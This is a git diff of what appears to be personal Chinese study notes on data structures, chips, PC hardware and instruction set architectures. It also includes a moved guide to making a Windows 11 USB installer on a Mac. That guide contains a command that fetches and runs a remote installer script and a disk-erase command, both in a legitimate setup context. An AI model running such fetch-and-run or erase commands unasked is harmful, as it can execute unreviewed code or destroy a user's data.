O(n) - - 需要一个节点一个节点的遍历,直到找到被访问的元素。 -3. 优点 - 1. 不需要初始化容量,可以任意加减元素。 - 2. 添加,删除很快:添加或者删除元素时只需要改变前后两个节点区域的指针域指向地址即可。 + - 需要一个节点一个节点的遍历,直到找到被访问的元素。 + +3. 优点 + + 1. 不需要初始化容量,可以任意加减元素。 + 2. 添加,删除很快:添加或者删除元素时只需要改变前后两个节点区域的指针域指向地址即可。 + 4. 缺点 - 1. 因为每个节点含有指针域,需要额外的空间; - 2. 查找元素需要遍历链表来查找,非常耗时。 + + 1. 因为每个节点含有指针域,需要额外的空间; + 2. 查找元素需要遍历链表来查找,非常耗时。 5. 适用场景 - 容量不固定,查询操作少,需要频繁增加,删除操作的场景。 + 容量不固定,查询操作少,需要频繁增加,删除操作的场景。 6. 衍生 - - 单链表,双向链表,循环链表等。 + + - 单链表,双向链表,循环链表等。 ### 三 栈 + 1. 栈是一种特殊的链表,仅能在链表的一端操作,栈顶允许操作,栈底不允许操作。 2. 特点:先进后出。LIFO ### 四 队列 + 1. 队列是一种特殊的链表,只可以在一端添加元素,在另一端取出元素。 2. 特点:先进先出。FIFO ## 非线性的逻辑结构 ### 一 树 + - 树是一种数据结构,它是由n(n>=1)个有限节点组成一个具有层次关系的集合。 -#### 二叉树 + +#### 二叉树 + 1. 二叉树是一种特殊的树,最常用的一种树结构。 + 2. 定义 - 1. 二叉树是有序树。 - 2. 每个节点最多有两个子节点,子结点的数量最大为2。 - 3. 左子节点和右子节点是有顺序的,次序不能颠倒。 - 4. 只有一个子节点时,也需要确定是左节点会是右节点。 - + + 1. 二叉树是有序树。 + 2. 每个节点最多有两个子节点,子结点的数量最大为2。 + 3. 左子节点和右子节点是有顺序的,次序不能颠倒。 + 4. 只有一个子节点时,也需要确定是左节点会是右节点。 3. 性质 - 1. 二叉树的第i层上至多有2的(i-1)次方(i≥1)个节点 - 2. 深度为h的二叉树中至多含有2h-1个节点 + + 1. 二叉树的第i层上至多有2的(i-1)次方(i≥1)个节点 + 2. 深度为h的二叉树中至多含有2h-1个节点 4. 适用场景 - - 二叉树是一种比较有用的折中方案,它添加,删除元素都很快,并且在查找方面也有很多的算法优化,所以,二叉树既有链表的好处,也有数组的好处,是两者的优化方案,在处理大批量的动态数据方面非常有用。 + + - 二叉树是一种比较有用的折中方案,它添加,删除元素都很快,并且在查找方面也有很多的算法优化,所以,二叉树既有链表的好处,也有数组的好处,是两者的优化方案,在处理大批量的动态数据方面非常有用。 5. 二叉树的衍生 - 平衡二叉树、红黑树、B+树等,这些数据结构在二叉树的基础上衍生了很多的功能,在实际应用中广泛用到,例如mysql的数据库索引结构用的就是B+树,还有HashMap的底层源码中用到了红黑树。这些二叉树的功能强大,但算法上比较复杂。 + 平衡二叉树、红黑树、B+树等,这些数据结构在二叉树的基础上衍生了很多的功能,在实际应用中广泛用到,例如mysql的数据库索引结构用的就是B+树,还有HashMap的底层源码中用到了红黑树。这些二叉树的功能强大,但算法上比较复杂。 + ##### 平衡二叉树 + 1. 定义 - 1. 平衡二叉树包含二叉树的一种。 - 2. 左边的子节点小当前父节点的值,右边的子节点大于当前父节点的值。 -##### B+树 + 1. 平衡二叉树包含二叉树的一种。 + 2. 左边的子节点小当前父节点的值,右边的子节点大于当前父节点的值。 +##### B+树 ### 二 散列表 + 1. 散列表也叫哈希表,是根据关键码和值 (key和value) 直接进行访问的数据结构,通过key和value来映射到集合中的一个位置,这样就可以很快找到集合中的对应元素。 ### 三 堆 ### 四 图 - ## 扩展 -- cpu读取缓存只能读取连续内存的内容,cpu缓存的速度要比内存的速度快上很多,数组的连续性正好符合cpu缓存的指令原理。 \ No newline at end of file + +- cpu读取缓存只能读取连续内存的内容,cpu缓存的速度要比内存的速度快上很多,数组的连续性正好符合cpu缓存的指令原理。 diff --git a/computer/deep-learning/README.md b/computer/deep-learning/README.md index 258d90c..794b52f 100644 --- a/computer/deep-learning/README.md +++ b/computer/deep-learning/README.md @@ -1,2 +1,8 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + 为什么GPU特别擅长处理图像数据呢? -因为图像上的每一个像素点都有被处理的需要,而且每个像素点处理的过程和方式都十分相似。 \ No newline at end of file +因为图像上的每一个像素点都有被处理的需要,而且每个像素点处理的过程和方式都十分相似。 diff --git a/computer/hareware/chip.md b/computer/hareware/chip.md index 1359c36..03d8d69 100644 --- a/computer/hareware/chip.md +++ b/computer/hareware/chip.md @@ -1,54 +1,72 @@ +--- +created_date: 2022-05-13 +--- + +[TOC] + ## 相关链接 + - 相关文章 - - GPU,CPU,SOC,DSP,FPGA,ASIC,MCU,MPU,GPP,ECU等都是什么 https://www.sohu.com/a/524003146_560178 - - FPGA, CPU, GPU, ASIC区别,FPGA为何这么牛 http://news.sohu.com/a/524904178_121266081 - - GPU基本知识和CUDA C编程(向量加法) https://zhuanlan.zhihu.com/p/434572353 - - CPU、GPU、NPU等芯片架构、特点研究 http://t.zoukankan.com/liuyufei-p-13259264.html + - GPU,CPU,SOC,DSP,FPGA,ASIC,MCU,MPU,GPP,ECU等都是什么 https://www.sohu.com/a/524003146_560178 + - FPGA, CPU, GPU, ASIC区别,FPGA为何这么牛 http://news.sohu.com/a/524904178_121266081 + - GPU基本知识和CUDA C编程(向量加法) https://zhuanlan.zhihu.com/p/434572353 + - CPU、GPU、NPU等芯片架构、特点研究 http://t.zoukankan.com/liuyufei-p-13259264.html - 显卡价格监控 https://www.zhihu.com/column/c_1435379298346168321 ## 芯片架构 + - ASIC - - Application Specific IntegratedCircuit(专用定制芯片),也被称为专用集成电路。 - - 介绍: 芯片内部架构较为简单,不可以硬件编程,只能用来专门处理某一种功能,灵活性最差,但是在执行某一种任务上的效率最高。 - - 产商: ASIC里面有多种架构,谷歌的TPU、地平线BPU、寒武纪和华为都推出的NPU等。 + + - Application Specific IntegratedCircuit(专用定制芯片),也被称为专用集成电路。 + - 介绍: 芯片内部架构较为简单,不可以硬件编程,只能用来专门处理某一种功能,灵活性最差,但是在执行某一种任务上的效率最高。 + - 产商: ASIC里面有多种架构,谷歌的TPU、地平线BPU、寒武纪和华为都推出的NPU等。 - FPGA - - Field Programmable Gate Array(可编辑门阵列),也被称为可编程集成电路。 - - 介绍: 芯片内部架构稍微复杂一些,可以硬件编程,因而可以通过硬件编程语言来改变内部芯片的逻辑结构,从而能够在提供一定灵活性的同时,还能够保证较高的处理效率,算是在灵活性和性能上取了个折中。 + + - Field Programmable Gate Array(可编辑门阵列),也被称为可编程集成电路。 + - 介绍: 芯片内部架构稍微复杂一些,可以硬件编程,因而可以通过硬件编程语言来改变内部芯片的逻辑结构,从而能够在提供一定灵活性的同时,还能够保证较高的处理效率,算是在灵活性和性能上取了个折中。 - CPU - - Central Processing Unit(中央处理器),也被称为通用集成电路。 - - 介绍: CPU芯片内部架构最复杂,不可以硬件编程,但是可以通过外部的编程软件来编写实现各种功能的软件,具备最高的灵活性,和最低的处理效率。 - - 产商: Intel英特尔 、 AMD 、 苹果M1。 + + - Central Processing Unit(中央处理器),也被称为通用集成电路。 + - 介绍: CPU芯片内部架构最复杂,不可以硬件编程,但是可以通过外部的编程软件来编写实现各种功能的软件,具备最高的灵活性,和最低的处理效率。 + - 产商: Intel英特尔 、 AMD 、 苹果M1。 - GPU - - Graphics Processing Unit(图形处理器),也被称为视觉处理单元(VPU)、显示核心、视觉处理器、显示芯片。 - - 介绍:不可以硬件编程,但是可以通过外部的编程软件来编写实现各种功能的软件。相比于CPU,GPU的逻辑运算单元(ALU)小而多,控制器功能简单。擅长高强度的并行计算。 - - 产商: NVIDIA英伟达 、 AMD 、 Intel英特尔。 + + - Graphics Processing Unit(图形处理器),也被称为视觉处理单元(VPU)、显示核心、视觉处理器、显示芯片。 + - 介绍:不可以硬件编程,但是可以通过外部的编程软件来编写实现各种功能的软件。相比于CPU,GPU的逻辑运算单元(ALU)小而多,控制器功能简单。擅长高强度的并行计算。 + - 产商: NVIDIA英伟达 、 AMD 、 Intel英特尔。 ## CPU + - 结构 - 运算器(算术逻辑运算单元,ALU,Arithmetic Logic Unit) - 高速缓冲存储器(Cache - - + - ## GPU + - GPU芯片有两大厂商 - - Nvidia(英伟达),N卡 - - AMD(原名ATI),A卡 + + - Nvidia(英伟达),N卡 + - AMD(原名ATI),A卡 - N卡 - - 命名规则分为前缀、代号和后缀三个部分。 - - 前缀分别有GT、GTS、GTX和RTX,性能指数分别对应:低端、入门、中端、高端。 - - 代号数字第一至第二位代表系列(代数),代数越新越好。 - - 后两位代表性能,后缀常见的有super和ti,分别都是代表是这个型号的加强版。 - - 例如 RTX2080ti,就是高端20系列,性能指数80的加强版显卡。 + + - 命名规则分为前缀、代号和后缀三个部分。 + - 前缀分别有GT、GTS、GTX和RTX,性能指数分别对应:低端、入门、中端、高端。 + - 代号数字第一至第二位代表系列(代数),代数越新越好。 + - 后两位代表性能,后缀常见的有super和ti,分别都是代表是这个型号的加强版。 + - 例如 RTX2080ti,就是高端20系列,性能指数80的加强版显卡。 - A卡 - - 命名规则分为前缀、代号和后缀三个部分 - - 三代之前前缀分为:R9高端、R7中端、R5入门以及R3低端,在往前就是远古时代的HD开头了。 + + - 命名规则分为前缀、代号和后缀三个部分 + - 三代之前前缀分为:R9高端、R7中端、R5入门以及R3低端,在往前就是远古时代的HD开头了。 - 显卡类型 - 1. 集成显卡: 主要是早期电脑主板上的板载显卡,集中在北桥芯片中,这类显卡性能差。 - 2. 核心显卡: intel开创的,集成在CPU中的显示核心,常说的intel的i3-i5-i7中,大部分都是有核心显卡的。 - 3. 独立显卡: 插在主板PCI-E插槽中,由于较大的空间和电源保证,独立显卡能做到很高的性能。 \ No newline at end of file + + 1. 集成显卡: 主要是早期电脑主板上的板载显卡,集中在北桥芯片中,这类显卡性能差。 + 2. 核心显卡: intel开创的,集成在CPU中的显示核心,常说的intel的i3-i5-i7中,大部分都是有核心显卡的。 + 3. 独立显卡: 插在主板PCI-E插槽中,由于较大的空间和电源保证,独立显卡能做到很高的性能。 diff --git a/computer/hareware/hardware.md b/computer/hareware/hardware.md index b337904..fb74413 100644 --- a/computer/hareware/hardware.md +++ b/computer/hareware/hardware.md @@ -1,4 +1,11 @@ +--- +created_date: 2023-03-24 +--- + +[TOC] + # 主机 + 1. 主板 2. CPU 3. 显卡 @@ -8,159 +15,188 @@ 7. 机箱 ## 主板 + - intel主板等级分类 Z高级 B中级 H低级 - 1. 最高等级,定位发烧级,一般搭配的CPU也十分高级。例如2019年时在售的X299主板,主板有2066个针脚,搭配LGA2066接口处理器,比如i7 7820X、i9 7900X 、i9 7920X、i9-7980XE等处理器,这类主板和CPU价格昂贵。 - 2. 高端级别,普通民用级里档次最高的,能够支持超频,这类主板通常支持内存频率也高一些。例如2019年时的Z390主板,一般最佳搭配是intel处理器型号后面带K(支持超频)后缀的处理器,例如i9-9900K、i7-9700K,i5-9600K等。 - 3. 中端主流级别,性价比最高,不支持超频,一般酷睿不带K的处理器都是上B系列主板,例如2019年时在售的i3-8100、i5-8400/8500、i5-9400F、i7-8700等处理器,搭配的是B360主板。 - 4. 入门级,便宜一些,同样不支持超频,一般建议搭配intel赛扬、奔腾级别的处理器,例如2019年时在售的H310主板,搭配G4900、G5400之类低端、偏入门的处理器。 + + 1. 最高等级,定位发烧级,一般搭配的CPU也十分高级。例如2019年时在售的X299主板,主板有2066个针脚,搭配LGA2066接口处理器,比如i7 7820X、i9 7900X 、i9 7920X、i9-7980XE等处理器,这类主板和CPU价格昂贵。 + 2. 高端级别,普通民用级里档次最高的,能够支持超频,这类主板通常支持内存频率也高一些。例如2019年时的Z390主板,一般最佳搭配是intel处理器型号后面带K(支持超频)后缀的处理器,例如i9-9900K、i7-9700K,i5-9600K等。 + 3. 中端主流级别,性价比最高,不支持超频,一般酷睿不带K的处理器都是上B系列主板,例如2019年时在售的i3-8100、i5-8400/8500、i5-9400F、i7-8700等处理器,搭配的是B360主板。 + 4. 入门级,便宜一些,同样不支持超频,一般建议搭配intel赛扬、奔腾级别的处理器,例如2019年时在售的H310主板,搭配G4900、G5400之类低端、偏入门的处理器。 - AMD主板等级分类 - 1. X:高端系列,支持超频,例如2019年时在售的X370主板,一般搭配锐龙 R7 2700X之类的处理器。 - 2. B:定位中端主流级别,AMD相比intel更有良心,几乎所有的锐龙处理器都支持超频,而主流级别的主板也能够支持超频。例如B450主板,一般搭配锐龙R5 2600、R7 2700之类的处理器。 - 3. A:定位入门级,不支持超频,一般适合偏入门的处理器。例如2019年时在售的A320主板,一般搭配速龙200GE之类的入门级处理器。 + + 1. X:高端系列,支持超频,例如2019年时在售的X370主板,一般搭配锐龙 R7 2700X之类的处理器。 + 2. B:定位中端主流级别,AMD相比intel更有良心,几乎所有的锐龙处理器都支持超频,而主流级别的主板也能够支持超频。例如B450主板,一般搭配锐龙R5 2600、R7 2700之类的处理器。 + 3. A:定位入门级,不支持超频,一般适合偏入门的处理器。例如2019年时在售的A320主板,一般搭配速龙200GE之类的入门级处理器。 - 主板尺寸(E-ATX加强型、ATX标准型、M-ATX紧凑型、MINI-ITX迷你型) - 1. E-ATX型主板属于高性能主板,一般会有8根内存插槽,主板芯片组基本是X等级的,家用级基本不用考虑这类主板。 - 2. ATX型主板就是俗称的“大板”,这类主板的体型稍大,扩展性强,接口十分丰富,一般搭配了4根内存插槽,例如Z370、Z390主板,大多数都是ATX板型的。 - 3. M-ATX型主板是目前使用最多的主板板型,相比ATX板型要短一些,基本接近了正方形,俗称“小板”,扩展性尚可,一般内存支持2根或者4根。 - 4. MINI-ITX就是紧凑型主板,一般会使用在ITX迷你机箱内,不过ITX的主板价格偏高一些,性价比不好,适合喜欢较小的主机人群。 + + 1. E-ATX型主板属于高性能主板,一般会有8根内存插槽,主板芯片组基本是X等级的,家用级基本不用考虑这类主板。 + 2. ATX型主板就是俗称的“大板”,这类主板的体型稍大,扩展性强,接口十分丰富,一般搭配了4根内存插槽,例如Z370、Z390主板,大多数都是ATX板型的。 + 3. M-ATX型主板是目前使用最多的主板板型,相比ATX板型要短一些,基本接近了正方形,俗称“小板”,扩展性尚可,一般内存支持2根或者4根。 + 4. MINI-ITX就是紧凑型主板,一般会使用在ITX迷你机箱内,不过ITX的主板价格偏高一些,性价比不好,适合喜欢较小的主机人群。 ## CPU + - Intel - - 中端主流:Intel酷睿i5 8400/i5 8500、i5 9400F/i5 9600K、AMD锐龙5 2400G、AMD锐龙5 2600/锐龙5 2600X。 - - 高端:Intel酷睿i7 8700/i7-8700K/i7-9700/i7-9700K/i7-8086K/i9-9900K(F)、AMD锐龙7 2700/AMD锐龙7 2700X。 + + - 中端主流:Intel酷睿i5 8400/i5 8500、i5 9400F/i5 9600K、AMD锐龙5 2400G、AMD锐龙5 2600/锐龙5 2600X。 + - 高端:Intel酷睿i7 8700/i7-8700K/i7-9700/i7-9700K/i7-8086K/i9-9900K(F)、AMD锐龙7 2700/AMD锐龙7 2700X。 + - Intel - 1. 后缀F表示无核显 - 2. 后缀K代表可以超频 - 3. 后缀KS代表超频加强版 + + 1. 后缀F表示无核显 + 2. 后缀K代表可以超频 + 3. 后缀KS代表超频加强版 - 具体 - - Core i5 12600K - - TDP为 216W - - Core i7 12700k - - TDP为 125W - - Core i5 13600K - - TDP为 125W - - Core i7 13700k - - TDP为 125W + - Core i5 12600K + - TDP为 216W + - Core i7 12700k + - TDP为 125W + - Core i5 13600K + - TDP为 125W + - Core i7 13700k + - TDP为 125W ## 内存条 + - DDR = Double Data Rate双倍速率同步动态随机存储器。 + - ddr4 3000,3000代表内存的频率。 - 推荐 美商海盗船复仇者四代 DDR4 16G 3000MHZ台式机内存条,号称是内存条中的王者、至尊,属于质量最好的内存条。 ## 硬盘 + - 性能是依次大幅提升,价格依次升高,体积和重量依次大幅减小。 1. 传统的机械硬盘 2. SATA接口的固态硬盘 3. M.2接口的固态硬盘 - ## 电源 + - 非模组电源 + - 模组电源: 效率高,占用空间相对较小,易于安装和维护,可靠性高。 - 转换效率 - - 电源的转换效率越高,就越省电。转换效率只是省电的标准,不能单纯地用来衡量电源的好坏。 - - 白牌 < 铜牌 < 银牌 < 金牌 < 白金 < 钛金 + + - 电源的转换效率越高,就越省电。转换效率只是省电的标准,不能单纯地用来衡量电源的好坏。 + - 白牌 < 铜牌 < 银牌 < 金牌 < 白金 < 钛金 ## 机箱 + - 按照大小从小到大 - 1. ITX:专门为小型电脑机箱设计的主板规格,尺寸 170mm×170mm。 - 2. DTX:尺寸为170mm×203mm。这个尺寸的主板很少见,ROG的部分高端主板是这个规格(如ROG C8I主板),这个规格也是为小钢炮设计的,部分ITX钢炮机箱支持这个尺寸。 - 3. M-ATX:就是缩小版的 ATX。长244mm,宽度有多种规格。主流为244mm×244mm。 - 4. ATX:ATX 可以理解为全尺寸主板,尺寸305mm×244mm。 - 5. E-ATX:加大型主板,尺寸305mm × 330 mm。主要用于服务器主板。例如搭配AMD 3990X的主板。 -- 推荐: 爱国者破晓X3 + 1. ITX:专门为小型电脑机箱设计的主板规格,尺寸 170mm×170mm。 + 2. DTX:尺寸为170mm×203mm。这个尺寸的主板很少见,ROG的部分高端主板是这个规格(如ROG C8I主板),这个规格也是为小钢炮设计的,部分ITX钢炮机箱支持这个尺寸。 + 3. M-ATX:就是缩小版的 ATX。长244mm,宽度有多种规格。主流为244mm×244mm。 + 4. ATX:ATX 可以理解为全尺寸主板,尺寸305mm×244mm。 + 5. E-ATX:加大型主板,尺寸305mm × 330 mm。主要用于服务器主板。例如搭配AMD 3990X的主板。 +- 推荐: 爱国者破晓X3 ## 散热器/风扇 + 1. 散热器 -2. +2. # 其它 + ## 键盘 + - 按键结构 - - 机械键盘 - - 薄膜键盘 - - 静电容键盘 + + - 机械键盘 + - 薄膜键盘 + - 静电容键盘 + - 按键 - - 剪刀脚按键 - - 蝴蝶式按键 + + - 剪刀脚按键 + - 蝴蝶式按键 - 机械键盘: 红轴、青轴、茶轴、金粉、快银... - 键程 ## 显示器 + - - ## 查询真假 + 1. 英特尔CPU - 1. 关注【英特尔中国】的微信公众号,或者进 因特尔官网http://cbaa.intel.com/查询 - 2. 输入序列号获取ULT号,然后和CPU上印刷的ULT号进行核对。 + + 1. 关注【英特尔中国】的微信公众号,或者进 因特尔官网http://cbaa.intel.com/查询 + 2. 输入序列号获取ULT号,然后和CPU上印刷的ULT号进行核对。 2. 华硕主板 - 1. https://www.asus.com.cn/support/warranty-status-inquiry/ + 1. https://www.asus.com.cn/support/warranty-status-inquiry/ + +# 装机 -# 装机 ## 装机步骤 + 1. 装主板 - 1. CPU - 2. 内存卡 - 3. 硬盘 - 4. 散热器 -2. 一体式水冷安装步骤 - 1. 水冷底座安装 - 2. 冷头扣具安装 - 3. 冷头的固定 - 4. 冷排风扇安装 - 5. 冷排的固定 - 6. 水冷线材的连接 + 1. CPU + 2. 内存卡 + 3. 硬盘 + 4. 散热器 +2. 一体式水冷安装步骤 + 1. 水冷底座安装 + 2. 冷头扣具安装 + 3. 冷头的固定 + 4. 冷排风扇安装 + 5. 冷排的固定 + 6. 水冷线材的连接 # 方案 + - 一 - 1. 显卡 - - 2. CPU I513600K 2219元 / IT13700K 2830 - 3. 主板 七彩虹Z790M 战列舰 WIFID5 1229元 * (中版) - 4. 内存条 光威天策第二代RGB DDR5-32G-6400C 2条 1268元 * - 5. 硬盘 雷克沙area 2T 548元 * - 6. 电源 长城冰霜巨龙850W 白色 493元 * - 7. 机箱 爱国者 破晓X3 白色 220元 * (大型机箱) - 8. 风扇 鑫谷冰霜360水冷 ARGB白色 245元 * - - `` 1229 + 2830 + 1265 + 548 + 459 + 226 + 288 `` - - 中版和大型机箱不协调,放弃此方案 + 1. 显卡 - + 2. CPU I513600K 2219元 / IT13700K 2830 + 3. 主板 七彩虹Z790M 战列舰 WIFID5 1229元 * (中版) + 4. 内存条 光威天策第二代RGB DDR5-32G-6400C 2条 1268元 \* + 5. 硬盘 雷克沙area 2T 548元 \* + 6. 电源 长城冰霜巨龙850W 白色 493元 \* + 7. 机箱 爱国者 破晓X3 白色 220元 * (大型机箱) + 8. 风扇 鑫谷冰霜360水冷 ARGB白色 245元 \* + + - `1229 + 2830 + 1265 + 548 + 459 + 226 + 288` + - 中版和大型机箱不协调,放弃此方案 - 二 - 1. 显卡 RTX 4060Ti 16G 盈通资讯显卡 yeston.net - 2. CPU I713700K 2830元 保修三年 - 3. 主板 华硕PRIME Z790-P D5 WIFI版 ATX主板 1625元 保修三年 - 4. 内存条 光威天策第二代RGB灯条 DDR5-32G-6400C 2条 1268元 终身保固以换代修 - 5. 硬盘 雷克沙area 790战神 m2.0固态 PCIE4.0 2T 保修五年 548元 - 6. 电源 长城冰霜巨龙850W 白色 保修三年 493元 - 7. 机箱 爱国者 破晓X3 EATX机箱 白色 220元 - 8. 风扇 鑫谷冰霜360水冷 ARGB白色 245元 官方质保3年 - - `` 2830 + 1625 + 1268 + 548 + 459 + 226 + 288 = 7244 `` - - 1000套以上批发价 - - CPU I713700KG 1689元 - - 主板 华硕PRIME Z790-P D5 WIFI版 ATX主板 1075元 - - 硬盘 雷克沙area - 1. 读 7400MB/s, 写 6500MB/s, 运行温度 0~70度 - 2. Lexar雷克沙官网下载SSD Dash软件,监控固态硬盘健康状态。 - - 显示器 S32AM703UC 2269元 - - 尺寸 32英寸 - - 屏幕比例 16:9 - - 分辨率 3840*2160 - - 键盘 绿联KU120 199元 - - Fn+~ : 进入有线模式; Fn+1/2/3 进入蓝牙设备1/2/3 - - Fn+下键: 切换光效 - - 长按 Fn+Ctrl+Ins 1秒,恢复出厂设置。当1/2/3键指示灯同时快闪3次,表明已恢复出厂设置。 + + 1. 显卡 RTX 4060Ti 16G 盈通资讯显卡 yeston.net (2024年12月加显卡) + 2. CPU I713700K 盒装 2830元 保修三年 + 3. 主板 华硕PRIME Z790-P D5 WIFI版 ATX主板 1625元 保修三年 + 4. 内存条 光威天策第二代RGB灯条 DDR5-32G-6400C 2条 1268元 终身保固以换代修 + 5. 硬盘 雷克沙area 790战神 m2.0固态 PCIE4.0 2T 保修五年 548元 + 6. 电源 长城冰霜巨龙850W 白色 保修三年 493元 + 7. 机箱 爱国者 破晓X3 EATX机箱 白色 220元 + 8. 风扇 鑫谷冰霜360水冷 ARGB白色 245元 官方质保3年 + + - `3306 + 2830 + 1625 + 1268 + 548 + 493 + 220 + 245 = 10535` + - 1000套以上批发价 + - CPU I713700KG 1689元 + - 主板 华硕PRIME Z790-P D5 WIFI版 ATX主板 1075元 + - 硬盘 雷克沙area + 1. 读 7400MB/s, 写 6500MB/s, 运行温度 0~70度 + 2. Lexar雷克沙官网下载SSD Dash软件,监控固态硬盘健康状态。 + - 显示器 S32AM703UC 2269元 + - 尺寸 32英寸 + - 屏幕比例 16:9 + - 分辨率 3840\*2160 + - 键盘 绿联KU102 199元 + - Fn+~ : 进入有线模式; Fn+1/2/3 进入蓝牙设备1/2/3 + - Fn+下键: 切换光效 + - 长按 Fn+Ctrl+Ins 1秒,恢复出厂设置。当1/2/3键指示灯同时快闪3次,表明已恢复出厂设置。 diff --git a/computer/hareware/isa.md b/computer/hareware/isa.md new file mode 100644 index 0000000..fd3dd00 --- /dev/null +++ b/computer/hareware/isa.md @@ -0,0 +1,33 @@ +## 简介 + +- ISA = 指令集体系结构 = Instruction Set Architecture +- ISA 是计算机体系结构中连接硬件和软件的接口,定义了处理器(或虚拟机)能够执行的指令集、操作数存储方式、数据类型、寻址模式以及执行行为。 +- 作用 + - 为编译器提供一个抽象层,描述处理器如何执行计算任务。 + - 为硬件设计者提供规范,确保硬件实现与软件期望一致。 +- 操作数存储模型 + - 基于寄存器:操作数存储在寄存器中(如 x86、ARM)。 + - 基于栈:操作数存储在栈顶(如 JVM、EVM)。 + - 基于内存:操作数直接存储在内存中(较少见)。 + +## 基于寄存器 + +1. 定义 + 1. 一种使用寄存器(CPU 或虚拟机中的高速存储单元)作为主要操作数存储位置的计算模型。 + 2. 指令直接指定寄存器来加载、操作和存储数据。 +2. 优点 + 1. 高性能,减少内存访问。 +3. 缺点 + 1. 指令集复杂,硬件/虚拟机实现成本较高。 + 2. 寄存器分配增加编译器设计难度。 + +## 基于栈 + +1. 定义 + 1. 一种使用栈(内存中的后进先出 LIFO 结构)作为主要操作数存储位置的计算模型。 + 2. 指令隐式操作栈顶的数据,操作数压入栈,运算结果推回栈顶。 +2. 优点 + 1. 指令集简单,易于跨平台移植。 +3. 缺点 + 1. 栈操作频繁,可能降低性能。 + 2. 需要更多指令完成复杂计算,代码密度较低。 diff --git a/computer/hareware/os.md b/computer/hareware/os.md deleted file mode 100644 index 568d377..0000000 --- a/computer/hareware/os.md +++ /dev/null @@ -1,42 +0,0 @@ -## 在mac上制作Windows11启动U盘(M1) -- 参考 - - https://zhuanlan.zhihu.com/p/23470454 - - https://www.freecodecamp.org/chinese/news/how-make-a-windows-10-usb-using-your-mac-build-a-bootable-iso-from-your-macs-terminal/ - -1. 下载IOS镜像 https://www.microsoft.com/en-gb/software-download/windows11 - -2. 格式化 - - 电脑打开后,插入u盘,进入磁盘工具抹除硬盘,并把选择MS—DOS(FAT32)格式,文件名为WIN11(请务必改名,方便后续操作) - ```sh - # 或者通过命令行操作 - diskutil list - diskutil eraseDisk MS-DOS "WIN11" MBR /dev/磁盘设备号 - ``` - -3. 挂载IOS镜像 - - 双击下载好的iso文件(不会有窗口打开,需要去桌面查看挂载的iso文件),请记住挂载的文件名字,之后需要用到 - ```sh - # 或者通过命令行操作,使用 hdiutil 指令挂载 Windows 11 文件夹并准备传输 - hdiutil mount ~/Downloads/Win11_22H2_Chinese_Simplified_x64v2.iso - ``` - -4. 复制除install.wim文件之外的所有内容到U盘内(install.wim 太大而无法复制到 FAT-32 格式的 USB 驱动器) - ```sh - rsync -vha --exclude=sources/install.wim /Volumes/CCCOMA_X64FRE_ZH-CN_DV9/* /Volumes/WIN11 - ``` - -5. 通过 wimlib 指令复制install.wim文件到U盘内 - ```sh - # 使用 wimlib 指令 - # 下载 wimlib 指令 brew install wimlib 或者 /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" - mkdir /Volumes/WIN11/sources - # wimlib 默认将 install.wim 文件拆分为 2 个小于 4 GB 的文件(以下命令中使用 3.8 GB),然后将它们复制到USB内: - wimlib-imagex split /Volumes/CCCOMA_X64FRE_ZH-CN_DV9/sources/install.wim /Volumes/WIN11/sources/install.swm 3800 - - ``` - - -## windows11 -1. 安装新系统时跳过网络连接的方法 - 1. 进入到联网页面后,拔掉网线,并保持无线网络未在连接状态。 - 2. 按Shift + F10调出CMD,输入命令:oobe\BypassNRO.cmd,输入完成后按Enter \ No newline at end of file diff --git a/computer/os/ios.md b/computer/os/ios.md new file mode 100644 index 0000000..5a429f9 --- /dev/null +++ b/computer/os/ios.md @@ -0,0 +1,55 @@ +--- +created_date: 2023-09-25 +--- + +[TOC] + +## 在mac上制作Windows11启动U盘(M1) + +- 参考 + - https://zhuanlan.zhihu.com/p/23470454 + - https://www.freecodecamp.org/chinese/news/how-make-a-windows-10-usb-using-your-mac-build-a-bootable-iso-from-your-macs-terminal/ + +1. 下载IOS镜像 https://www.microsoft.com/en-gb/software-download/windows11 + +2. 格式化 + + - 电脑打开后,插入u盘,进入磁盘工具抹除硬盘,并把选择MS—DOS(FAT32)格式,文件名为WIN11(请务必改名,方便后续操作) + + ```sh + # 或者通过命令行操作 + diskutil list + diskutil eraseDisk MS-DOS "WIN11" MBR /dev/磁盘设备号 + ``` + +3. 挂载IOS镜像 + + - 双击下载好的iso文件(不会有窗口打开,需要去桌面查看挂载的iso文件),请记住挂载的文件名字,之后需要用到 + + ```sh + # 或者通过命令行操作,使用 hdiutil 指令挂载 Windows 11 文件夹并准备传输 + hdiutil mount ~/Downloads/Win11_22H2_Chinese_Simplified_x64v2.iso + ``` + +4. 复制除install.wim文件之外的所有内容到U盘内(install.wim 太大而无法复制到 FAT-32 格式的 USB 驱动器) + + ```sh + rsync -vha --exclude=sources/install.wim /Volumes/CCCOMA_X64FRE_ZH-CN_DV9/* /Volumes/WIN11 + ``` + +5. 通过 wimlib 指令复制install.wim文件到U盘内 + + ```sh + # 使用 wimlib 指令 + # 下载 wimlib 指令 brew install wimlib 或者 /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" + mkdir /Volumes/WIN11/sources + # wimlib 默认将 install.wim 文件拆分为 2 个小于 4 GB 的文件(以下命令中使用 3.8 GB),然后将它们复制到USB内: + wimlib-imagex split /Volumes/CCCOMA_X64FRE_ZH-CN_DV9/sources/install.wim /Volumes/WIN11/sources/install.swm 3800 + + ``` + +## windows11 + +1. 安装新系统时跳过网络连接的方法 + 1. 进入到联网页面后,拔掉网线,并保持无线网络未在连接状态。 + 2. 按Shift + F10调出CMD,输入命令:oobe\\BypassNRO.cmd,输入完成后按Enter diff --git a/computer/os/os.md b/computer/os/os.md index 52b753a..50b918f 100644 --- a/computer/os/os.md +++ b/computer/os/os.md @@ -1,19 +1,32 @@ +--- +created_date: 2020-11-20 +--- + +[TOC] + ## Linux + ### 操作系统的发展历程: + 大型机--个人计算机--网络--移动互联网--云计算--泛在计算(物联网)--机器人 ### CPU状态之间的转换 + - 用户态-->内核态 - 中断(外中断)/异常(内异常)/陷入机制 + 中断(外中断)/异常(内异常)/陷入机制 + 1. 通过中断机制陷入内核态,三种方式 - 1. 外围设备的中断: 对硬件进行操作(如读取磁盘文件、发送网络数据)。 - 2. 系统调用: 创建进程. - 3. 异常: 用户态不可知异常。 + + 1. 外围设备的中断: 对硬件进行操作(如读取磁盘文件、发送网络数据)。 + 2. 系统调用: 创建进程. + 3. 异常: 用户态不可知异常。 2. 硬件:中断/异常响应 + 3. 软件:中断/异常处理程序 ### 